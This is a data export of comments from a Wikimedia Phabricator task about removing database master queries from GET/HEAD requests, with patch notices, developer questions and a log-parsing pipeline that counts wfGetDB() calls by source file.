438785,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Examining ""75167 Block.php line 219 calls wfGetDB()"" in particular, to start with one of the biggest. The main source of this seems to be Wikibase. I'll file a ticket against their project.",,,1428307854,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,17.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,5.0,17.0,7.0,0.0,5.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,3.8536585365853657,0.8780487804878049,"Examining ""75167 Block.php line 219 calls wfGetDB()"" in particular, to start with one of the biggest. The main source of this seems to be Wikibase. I'll file a ticket against their project."
438778,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"I decided to parse dbperformance.log to see which ones are the biggest offenders. Here's my attempt:


```
cat /a/mw-log/dbperformance.log | grep 'masterConns' -A6 | grep 'LoadBalancer->getConnection' -A1 | grep -v 'LoadBalancer->getConnection' | grep -v '\-\-' | sort | uniq -c | sort -n
```


```
      1 AbuseFilterViewEdit.php line 820 calls wfGetDB()
      1 Block.php line 423 calls wfGetDB()
      1 MessageGroups.php line 241 calls wfGetDB()
      1 ORMTable.php line 629 calls DBAccessBase->getConnection()
      1 SpecialPageTranslation.php line 279 calls wfGetDB()
      1 User.php line 3054 calls wfGetDB()
      1 WikiPageMessageGroup.php line 55 calls wfGetDB()
      2 Store.php line 185 calls wfGetDB()
      2 User.php line 3741 calls wfGetDB()
      2 WikiPage.php line 376 calls wfGetDB()
      3 Block.php line 442 calls wfGetDB()
      3 CategoryViewer.php line 716 calls wfGetDB()
      3 MathRenderer.php line 330 calls wfGetDB()
      3 MessageBlobStore.php line 95 calls wfGetDB()
      4 User.php line 2178 calls wfGetDB()
      5 ShortUrl.utils.php line 44 calls wfGetDB()
      5 SpecialEditWatchlist.php line 302 calls wfGetDB()
      6 UserRightsProxy.php line 158 calls wfGetDB()
      7 CentralAuthUser.php line 1951 calls CentralAuthUser::getCentralDB()
      7 CNDatabase.php line 35 calls wfGetDB()
      7 User.php line 3693 calls wfGetDB()
      8 MessageGroupStats.php line 307 calls wfGetDB()
      8 User.php line 1399 calls wfGetDB()
     11 TPParse.php line 136 calls wfGetDB()
     12 Block.php line 799 calls wfGetDB()
     12 SqlBagOStuff.php line 158 calls wfGetDB()
     13 Block.php line 984 calls wfGetDB()
     16 Title.php line 3933 calls wfGetDB()
     17 FRPageConfig.php line 189 calls wfGetDB()
     27 RevisionStorage.php line 124 calls Flow\DbFactory->getDB()
     40 Revision.php line 307 calls wfGetDB()
     48 ForeignDBViaLBRepo.php line 59 calls wfGetDB()
     67 AccountAudit.body.php line 22 calls wfGetDB()
     99 UserNotificationGateway.php line 45 calls MWEchoDbFactory->getEchoDb()
    110 TranslatablePage.php line 862 calls wfGetDB()
    115 OAIRepo_body.php line 281 calls OAIRepo->getAuditDatabase()
    119 WikiPageEntityRevisionLookup.php line 259 calls DBAccessBase->getConnection()
    123 AbuseFilterViewEdit.php line 819 calls wfGetDB()
    149 CentralAuthUser.php line 1804 calls CentralAuthUser::getCentralDB()
    157 CodeRepository.php line 51 calls wfGetDB()
    157 SpecialEditWatchlist.php line 347 calls wfGetDB()
    178 User.php line 1397 calls wfGetDB()
    215 FlaggableWikiPage.php line 343 calls wfGetDB()
    345 FRDependencyUpdate.php line 83 calls wfGetDB()
    349 SpecialActiveusers.php line 313 calls wfGetDB()
    363 LocalRepo.php line 469 calls wfGetDB()
    454 LinkFilter.php line 95 calls wfGetDB()
    461 User.php line 1223 calls wfGetDB()
    463 CentralAuthUser.php line 2483 calls CentralAuthUser::getCentralDB()
    632 User.php line 2179 calls wfGetDB()
    798 TranslatablePage.php line 677 calls wfGetDB()
   1081 WikiPage.php line 1499 calls wfGetDB()
   1444 CentralAuthHooks.php line 822 calls wfGetDB()
   1633 SqlStore.php line 460 calls wfGetDB()
   1633 WikiPageEntityRevisionLookup.php line 192 calls DBAccessBase->getConnection()
   1781 TranslatablePage.php line 640 calls wfGetDB()
   2038 CentralAuthUser.php line 2028 calls CentralAuthUser::getCentralDB()
   4863 WatchedItem.php line 267 calls wfGetDB()
   8070 User.php line 3000 calls wfGetDB()
  10615 User.php line 2270 calls wfGetDB()
  34769 User.php line 1221 calls wfGetDB()
  44027 BasicDbStorage.php line 138 calls Flow\DbFactory->getDB()
  52857 CentralAuthUser.php line 205 calls CentralAuthUser::getCentralDB()
  75167 Block.php line 219 calls wfGetDB()
 127206 Revision.php line 128 calls wfGetDB()
```",,,1428306702,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.24,0.84,"I decided to parse dbperformance.log to see which ones are the biggest offenders. Here's my attempt:


``CODE`CODE`CODE``"
437952,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 201698 merged by jenkins-bot:
Skin: Account for User::newFromName returning false

[[https://gerrit.wikimedia.org/r/201698]]",,,1428064527,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,4.318181818181818,0.8636363636363636,"Change 201698 merged by jenkins-bot:
Skin: Account for User::newFromName returning false

[[GERRIT_URL]]"
437936,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 201698 had a related patch set uploaded (by Gilles):
Account for User::newFromName returning false

[[https://gerrit.wikimedia.org/r/201698]]
",,,1428063096,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.36,0.88,"Change 201698 had a related patch set uploaded (by Gilles):
Account for User::newFromName returning false

[[GERRIT_URL]]
"
437902,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 201688 merged by jenkins-bot:
Made Skin::getRelevantUser use READ_NORMAL

[[https://gerrit.wikimedia.org/r/201688]]",,,1428061307,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,4.631578947368421,0.8947368421052632,"Change 201688 merged by jenkins-bot:
Made Skin::getRelevantUser use READ_NORMAL

[[GERRIT_URL]]"
437901,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"@aaron are you looking at occurrence frequency of these in dbperformance.log to tackle the biggest ones first, or is the goal to fix every single one we find in there anyway?",,,1428060720,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,18.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,4.515151515151516,0.9090909090909091,"SCREEN_NAME are you looking at occurrence frequency of these in dbperformance.log to tackle the biggest ones first, or is the goal to fix every single one we find in there anyway?"
437899,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"For my own understanding of mediawiki core features, is getRelevantUser() solely used to display 3-4 relevant shortcuts in the toolbox at the bottom left of the interface?",,,1428060506,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,18.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.393939393939394,0.9090909090909091,"For my own understanding of mediawiki core features, is getRelevantUser() solely used to display 3-4 relevant shortcuts in the toolbox at the bottom left of the interface?"
437858,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 201688 had a related patch set uploaded (by Aaron Schulz):
Made Skin::getRelevantUser use READ_NORMAL

[[https://gerrit.wikimedia.org/r/201688]]
",,,1428054475,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,28.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,12.0,4.48,0.88,"Change 201688 had a related patch set uploaded (by Aaron Schulz):
Made Skin::getRelevantUser use READ_NORMAL

[[GERRIT_URL]]
"
437035,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199826 merged by jenkins-bot:
Switched to using User::touch() to avoid DB write spam

[[https://gerrit.wikimedia.org/r/199826]]",,,1427951299,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,3.6538461538461537,0.8846153846153846,"Change 199826 merged by jenkins-bot:
Switched to using User::touch() to avoid DB write spam

[[GERRIT_URL]]"
436399,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,Only patch listed above still in review: https://gerrit.wikimedia.org/r/#/c/199826/,,,1427878810,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,22.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,Only patch listed above still in review: URL
434133,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200194 merged by jenkins-bot:
Avoid using DB_MASTER in makeLikeArray

[[https://gerrit.wikimedia.org/r/200194]]",,,1427480230,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,4.15,0.9,"Change 200194 merged by jenkins-bot:
Avoid using DB_MASTER in makeLikeArray

[[GERRIT_URL]]"
434111,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200194 had a related patch set uploaded (by Aaron Schulz):
Avoid using DB_MASTER in makeLikeArray

[[https://gerrit.wikimedia.org/r/200194]]
",,,1427478435,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.115384615384615,0.8846153846153846,"Change 200194 had a related patch set uploaded (by Aaron Schulz):
Avoid using DB_MASTER in makeLikeArray

[[GERRIT_URL]]
"
434059,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200059 merged by jenkins-bot:
Removed view event from $wgAutopromoteOnce

[[https://gerrit.wikimedia.org/r/200059]]",,,1427474283,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.142857142857143,0.9047619047619048,"Change 200059 merged by jenkins-bot:
Removed view event from $wgAutopromoteOnce

[[GERRIT_URL]]"
433714,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200052 merged by jenkins-bot:
Avoid needless master queries on page views

[[https://gerrit.wikimedia.org/r/200052]]",,,1427410454,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.909090909090909,0.9090909090909091,"Change 200052 merged by jenkins-bot:
Avoid needless master queries on page views

[[GERRIT_URL]]"
433711,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200059 had a related patch set uploaded (by Aaron Schulz):
Removed view event from $wgAutopromoteOnce

[[https://gerrit.wikimedia.org/r/200059]]
",,,1427410076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.111111111111111,0.8888888888888888,"Change 200059 had a related patch set uploaded (by Aaron Schulz):
Removed view event from $wgAutopromoteOnce

[[GERRIT_URL]]
"
433697,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200052 had a related patch set uploaded (by Aaron Schulz):
Avoid needless master queries on page views

[[https://gerrit.wikimedia.org/r/200052]]
",,,1427408929,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.9285714285714284,0.8928571428571429,"Change 200052 had a related patch set uploaded (by Aaron Schulz):
Avoid needless master queries on page views

[[GERRIT_URL]]
"
433692,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199825 merged by jenkins-bot:
Introduced User::touch() method to bump the getTouched() value using memcached

[[https://gerrit.wikimedia.org/r/199825]]",,,1427408721,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,4.068965517241379,0.8620689655172413,"Change 199825 merged by jenkins-bot:
Introduced User::touch() method to bump the getTouched() value using memcached

[[GERRIT_URL]]"
433072,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199826 had a related patch set uploaded (by Aaron Schulz):
Switched to using User::touch() to avoid DB write spam

[[https://gerrit.wikimedia.org/r/199826]]
",,,1427347461,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,3.71875,0.84375,"Change 199826 had a related patch set uploaded (by Aaron Schulz):
Switched to using User::touch() to avoid DB write spam

[[GERRIT_URL]]
"
433070,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199825 had a related patch set uploaded (by Aaron Schulz):
Introduced User::touch() method to bump the getTouched() value using memcached

[[https://gerrit.wikimedia.org/r/199825]]
",,,1427347131,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,4.057142857142857,0.8285714285714286,"Change 199825 had a related patch set uploaded (by Aaron Schulz):
Introduced User::touch() method to bump the getTouched() value using memcached

[[GERRIT_URL]]
"
432814,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199679 merged by jenkins-bot:
Avoid master queries on edit form views

[[https://gerrit.wikimedia.org/r/199679]]",,,1427319812,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.727272727272727,0.9090909090909091,"Change 199679 merged by jenkins-bot:
Avoid master queries on edit form views

[[GERRIT_URL]]"
432731,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199679 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on edit form views

[[https://gerrit.wikimedia.org/r/199679]]
